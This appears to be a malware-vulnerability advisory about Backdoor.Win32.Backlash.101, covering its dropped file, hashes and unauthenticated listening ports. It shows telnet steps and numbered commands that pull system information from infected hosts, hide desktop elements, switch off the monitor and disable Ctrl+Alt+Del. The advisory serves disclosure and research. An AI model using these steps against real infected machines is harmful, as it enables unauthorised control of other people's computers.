Backdoor.Win32.Backlash.101 Missing Authentication

Backdoor.Win32.Backlash.101 malware suffers from a missing authentication vulnerability.

MD5 | 940635375048734dc4376d0392bf4b58

Discovery / credits: Malvuln - (c) 2021
Original source:
Contact: [email protected]

Threat: Backdoor.Win32.Backlash.101
Vulnerability: Missing Authentication
Description: BackLash Server 1.0 Alpha drops an executable named "d3d8thk.exe" under Windows dir and listens on TCP ports 11831 and 29559. Telnet to port 11831 allows anyone to retrieve basic system information and run some of the malwares built-in commands on the infected host.

Type: PE32
MD5: 4ba3c08d8ad964328f2b6f618f714df2
Vuln ID: MVID-2021-0085
Dropped files: d3d8thk.exe
Disclosure: 02/12/2021

TELNET x.x.x.x 11831

Enter the number 1 and hit enter and we see some system information returned.

1001Windows folder: C:\WINDOWS
System folder: C:\WINDOWS\system32
Product Key:
Product Id:
Cpu: Intel64 Family 6 Model 158 Stepping 9
Temp folder: C:\Users\victim\AppData\Local\Temp\
Windows version: Windows NT 6.2 9200
Minutes in windows: 157
Computer name: DESKTOP-6BLAHNO
User name: victim
Windows language: English (United States)
Resolution: 1503x819
NumLock state: Off
CapsLock state: On
ScrollLock state: Off
Play sounds: Yes
Free disk space: 2,774,273,536
Clients connected: 1

Continue entering numbers 2 - 9 and so forth.

2000 All icons in desktop are hidden now...
3000 Start button is hidden now...
4000 Taskbar is hidden now...
5000 Task icons are hidden now...
6000 Task clock is hidden now...
7000 Monitor is off now...
8000 Ctrl+Alt+Del disabled...
9000 ScrollLock is off now...

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